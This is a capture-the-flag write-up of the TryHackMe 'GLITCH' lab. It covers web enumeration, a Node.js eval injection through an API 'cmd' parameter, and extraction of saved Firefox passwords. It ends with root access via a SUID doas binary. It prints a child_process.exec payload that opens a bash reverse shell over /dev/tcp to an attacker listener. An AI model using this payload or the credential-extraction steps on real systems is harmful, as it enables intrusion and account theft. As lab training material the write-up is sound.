From aldeid
Jump to navigation Jump to search

Challenge showcasing a web app and simple privilege escalation. Can you find the glitch?

What is your access token?

Nmap only discovers 1 open port:

80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: not allowed
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Let’s browse the web service. An interesting script at the end of the page gives the path of an API:

kali@kali:/data/vpn$ curl -s
<!DOCTYPE html>
<html lang="en">
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>not allowed</title>

      * {
        margin: 0;
        padding: 0;
        box-sizing: border-box;
      body {
        height: 100vh;
        width: 100%;
        background: url('img/glitch.jpg') no-repeat center center / cover;
      function getAccess() {
          .then((response) => response.json())
          .then((response) => {

Browsing this URL provides us with a base64 encoded string that, once decoded, is the token:

kali@kali:/data/vpn$ curl -s
kali@kali:/data/vpn$ echo "dGhpc19pc19ub3RfcmVhbA==" | base64 -d

Answer: this_is_not_real

What is the content of user.txt?

Hint: What other methods does the API accept?

After several rabbit holes (/robots.txt, /secret), I eventually decided to further enumerate the /api directory:

kali@kali:/data/GLITCH$ gobuster dir -u -x php,txt,bak,old,tar,zip -w /usr/share/wordlists/dirb/common.txt 
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     zip,php,txt,bak,old,tar
[+] Timeout:        10s
2021/04/29 15:12:46 Starting gobuster
/access (Status: 200)
/items (Status: 200)
2021/04/29 15:16:05 Finished

We discovered another path:

kali@kali:/data/vpn$ curl

Now, the hint was referring to “other methods”. Let’s try with POST:

kali@kali:/data/vpn$ curl -XPOST

Interesting. There must be a missing parameter. Let’s fuzz it:

kali@kali:/data/vpn$ wfuzz -X POST -w /usr/share/wordlists/SecLists/Fuzzing/1-4_all_letters_a-z.txt --hh=45
 /usr/lib/python3/dist-packages/wfuzz/ UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
* Wfuzz 3.1.0 - The Web Fuzzer                         *

Total requests: 475254

ID           Response   Lines    Word       Chars       Payload                                             

000002370:   500        10 L     64 W       1081 Ch     "cmd"

Indeed, our assumption was correct, and the URL takes a cmd parameter.


With this new statement, let’s try to inject a command:

kali@kali:/data/GLITCH/files$ curl -X POST
<!DOCTYPE html>
<html lang="en">
<meta charset="utf-8">
<pre>ReferenceError: id is not defined<br> &nbsp; &nbsp;at eval (eval at (/var/web/routes/api.js:25:60), &lt;anonymous&gt;:1:1)<br> &nbsp; &nbsp;at (/var/web/routes/api.js:25:60)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/var/web/node_modules/express/lib/router/route.js:137:13)<br> &nbsp; &nbsp;at Route.dispatch (/var/web/node_modules/express/lib/router/route.js:112:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /var/web/node_modules/express/lib/router/index.js:281:22<br> &nbsp; &nbsp;at Function.process_params (/var/web/node_modules/express/lib/router/index.js:335:12)<br> &nbsp; &nbsp;at next (/var/web/node_modules/express/lib/router/index.js:275:10)<br> &nbsp; &nbsp;at Function.handle (/var/web/node_modules/express/lib/router/index.js:174:3)</pre>

This error is generated by nodejs. below is the cleaned code:

ReferenceError: id is not defined
    at eval (eval at (/var/web/routes/api.js:25:60), <anonymous>:1:1)
    at (/var/web/routes/api.js:25:60)
    at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)
    at next (/var/web/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/var/web/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)
    at /var/web/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/var/web/node_modules/express/lib/router/index.js:335:12)
    at next (/var/web/node_modules/express/lib/router/index.js:275:10)
    at Function.handle (/var/web/node_modules/express/lib/router/index.js:174:3)

Proof of concept

Let’s exploit (I found this resource useful:

kali@kali:/data/GLITCH/files$ curl -X POST ""
vulnerability_exploited /var/web

Our injection was successful and we are provided with the current path.

Exploit and reverse shell

Use BurpSuite to send the following request:

POST /api/items?cmd=require("child_process").exec('bash+-c+"bash+-i+>%26+/dev/tcp/>%261"') HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: token=value
Upgrade-Insecure-Requests: 1
If-None-Match: W/"a9-0aR6bAfiK/DB+A79vs3kEEVvJNc"

We now have a reverse shell:

kali@kali:/data/GLITCH$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 49964
bash: cannot set terminal process group (1353): Inappropriate ioctl for device
bash: no job control in this shell
user@ubuntu:/var/web$ id
uid=1000(user) gid=1000(user) groups=1000(user),30(dip),46(plugdev)

User flag

Let’s get the user flag

user@ubuntu:/var/web$ cd /home
cd /home
user@ubuntu:/home$ ls -la
ls -la
total 16
drwxr-xr-x  4 root root 4096 Jan 15 14:13 .
drwxr-xr-x 24 root root 4096 Jan 27 10:32 ..
drwxr-xr-x  8 user user 4096 Jan 27 10:33 user
drwxr-xr-x  2 v0id v0id 4096 Jan 21 09:05 v0id
user@ubuntu:/home$ cd user
cd user
user@ubuntu:~$ ls -la
ls -la
total 48
drwxr-xr-x   8 user user  4096 Jan 27 10:33 .
drwxr-xr-x   4 root root  4096 Jan 15 14:13 ..
lrwxrwxrwx   1 root root     9 Jan 21 09:05 .bash_history -> /dev/null
-rw-r--r--   1 user user  3771 Apr  4  2018 .bashrc
drwx------   2 user user  4096 Jan  4 13:41 .cache
drwxrwxrwx   4 user user  4096 Jan 27 10:32 .firefox
drwx------   3 user user  4096 Jan  4 13:41 .gnupg
drwxr-xr-x 270 user user 12288 Jan  4 14:07 .npm
drwxrwxr-x   5 user user  4096 Apr 29 16:44 .pm2
drwx------   2 user user  4096 Jan 21 08:47 .ssh
-rw-rw-r--   1 user user    22 Jan  4 15:29 user.txt
user@ubuntu:~$ cat user.txt
cat user.txt

User flag: THM{i_don't_know_why}

What is the content of root.txt?

Hint: My friend says that sudo is bloat.

Lateral move

The enumeration of the /home directory shows another user: v0id. As we don’t have the password associated to the user account we are currently using, it seems reasonable to move laterally to the other user.

Notice a .firefox directory in the home directory of our user:

user@ubuntu:~$ ll
total 52
drwxr-xr-x   9 user user  4096 Apr 29 18:14 ./
drwxr-xr-x   4 root root  4096 Jan 15 14:13 ../
lrwxrwxrwx   1 root root     9 Jan 21 09:05 .bash_history -> /dev/null
-rw-r--r--   1 user user  3771 Apr  4  2018 .bashrc
drwx------   2 user user  4096 Jan  4 13:41 .cache/
drwxr-x---   3 user user  4096 Apr 29 17:58 .config/
drwxrwxrwx   4 user user  4096 Jan 27 10:32 .firefox/ <---------- interesting!
drwx------   4 user user  4096 Apr 29 17:58 .gnupg/
drwxr-xr-x 270 user user 12288 Jan  4 14:07 .npm/
drwxrwxr-x   5 user user  4096 Apr 29 16:44 .pm2/
drwx------   2 user user  4096 Apr 29 17:41 .ssh/
-rw-rw-r--   1 user user    22 Jan  4 15:29 user.txt

Compress the folder and download the archive locally. Download firefox_decrypt and reveal v0id’s password:

kali@kali:/data/src/firefox_decrypt$ python3 /data/GLITCH/files/.firefox/
Select the Mozilla profile you wish to decrypt
1 -> hknqkrn7.default
2 -> b5w4643p.default-release

Website:   https://glitch.thm
Username: 'v0id'
Password: 'love_the_void'

We can now switch to v0id:

user@ubuntu:/var/web$ su v0id
su v0id
Password: love_the_void

v0id@ubuntu:/var/web$ id
uid=1001(v0id) gid=1001(v0id) groups=1001(v0id)

Privilege escalation

Unfortunately, the v0id user is not allowed to run any program with sudo.

v0id@ubuntu:/var/web$ sudo -l
sudo -l
[sudo] password for v0id: love_the_void

Sorry, user v0id may not run sudo on ubuntu.

Searching for files owned by root with the SUID bit set reveals another interesting program though (doas is working like sudo):

v0id@ubuntu:~$ find / -type f -user root -perm -u=s 2>/dev/null
find / -type f -user root -perm -u=s 2>/dev/null
/usr/local/bin/doas <---------------------- interesting!

Let’s check:

v0id@ubuntu:~$ doas -u root /bin/bash
doas -u root /bin/bash
Password: love_the_void

root@ubuntu:/home/v0id# cd /root
cd /root
root@ubuntu:~# cat root.txt
cat root.txt

Root flag: THM{diamonds_break_our_aching_minds}